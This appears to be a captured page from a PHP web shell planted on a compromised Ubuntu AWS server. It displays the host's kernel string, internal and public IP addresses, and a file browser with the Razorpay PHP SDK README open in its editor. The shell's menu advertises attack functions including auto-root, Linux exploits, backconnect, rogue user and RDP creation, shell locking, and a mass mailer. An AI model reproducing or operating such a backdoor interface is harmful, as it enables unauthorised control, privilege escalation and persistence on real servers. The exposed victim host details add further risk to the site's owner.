Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 52.15.42.61
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
results /
rcub /
razorpay /
razorpay-php /
[ HOME SHELL ]
Name
Size
Permission
Action
libs
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
README.md
2.41
KB
-rwxr-xr-x
Razorpay.php
1011
B
-rwxr-xr-x
composer.json
1.05
KB
-rwxr-xr-x
composer.lock
3.84
KB
-rwxr-xr-x
doc.md
649
B
-rwxr-xr-x
version.txt
6
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.md
# razorpay-php [![Build Status](https://travis-ci.org/razorpay/razorpay-php.svg?branch=master)](https://travis-ci.org/razorpay/razorpay-php) [![Latest Stable Version](https://poser.pugx.org/razorpay/razorpay/v/stable.svg)](https://packagist.org/packages/razorpay/razorpay) [![License](https://poser.pugx.org/razorpay/razorpay/license.svg)](https://packagist.org/packages/razorpay/razorpay) Razorpay client PHP Api. The api follows the following practices: - namespaced under Razorpay\Api - call $api->class->function() to access the api - api throws exceptions instead of returning errors - options are passed as an array instead of multiple arguments wherever possible - All request and responses are communicated over JSON - A minimum of PHP 5.3 is required # Installation - If your project uses composer, add following to composer.json ```json { "require": { "razorpay/razorpay": "1.*" } } ``` Then, run `composer update`. If you are not using composer, download the latest release from [the releases section](https://github.com/razorpay/razorpay-php/releases). **You should download the `razorpay-php.zip` file**. After that include `Razorpay.php` in your application and you can use the API as usual. # Usage ```php use Razorpay\Api\Api; $api = new Api($api_key, $api_secret); $api->payment->all($options); // Returns array of payment objects $payment = $api->payment->fetch($id); // Returns a particular payment $api->payment->fetch($id)->capture(array('amount'=>$amount)); // Captures a payment $api->payment->fetch($id)->refund(); // Refunds a payment $api->payment->fetch($id)->refund(array('amount'=>$refundAmount)); // Partially refunds a payment // To get the payment details echo $payment->amount; echo $payment->currency; // And so on for other attributes ``` For further help, see our documentation on <https://docs.razorpay.com>. [composer-install]: https://getcomposer.org/doc/00-intro.md#installation-linux-unix-osx ## Developing See the [doc.md](doc.md) file for getting started with development. ## License The Razorpay PHP SDK is released under the MIT License. ## Release Steps to follow for a release: 0. Merge the branch with the new code to master. 1. Bump the Version in `src/Api.php`. 2. Rename Unreleased to the new tag in `CHANGELOG` 3. Fix links at bottom in `CHANGELOG` 4. Commit 5. Tag the release and push to GitHub 6. Create a release on GitHub using the website with more details about the release
Close